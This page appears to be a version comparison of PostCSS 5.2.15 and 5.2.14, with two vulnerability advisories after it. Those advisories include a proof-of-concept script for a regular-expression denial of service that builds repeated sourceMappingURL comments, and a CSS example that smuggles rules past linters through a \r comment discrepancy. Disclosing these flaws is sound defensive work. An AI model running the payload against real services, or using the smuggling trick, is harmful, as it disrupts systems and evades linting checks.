PostCSS version 5.2.15 is a minor update to the popular CSS transformation tool, building upon the solid foundation of 5.2.14. Both versions share the same core dependencies like chalk, js-base64, source-map, and supports-color, ensuring consistent styling and utility functionalities. Developers will find the familiar API and core concepts unchanged between the two releases, promising a smooth transition for existing projects.
The noticeable difference lies in the devDependencies. Version 5.2.15 updates eslint to ^3.16.0 and lint-staged to ^3.3.1 from eslint ^3.15.0 and lint-staged ^3.3.0. These updates likely address minor bug fixes and improvements in the linting and pre-commit workflow, contributing to code quality. While not directly impacting the PostCSS runtime, these changes are valuable for developers employing these tools in their build processes.
Both versions feature a robust suite of development tools, including ava for testing, gulp for task automation, and babel for ESNext transpilation. This indicates a focus on maintainability, code quality, and modern JavaScript practices, ensuring a reliable and future-proof experience for developers integrating PostCSS into their projects. If you're already using PostCSS 5.2.14, upgrading to 5.2.15 is a low-risk way to get the latest linting and pre-commit tooling improvements, especially beneficial in team environments focused on code consistency.
All the vulnerabilities related to the version 5.2.15 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.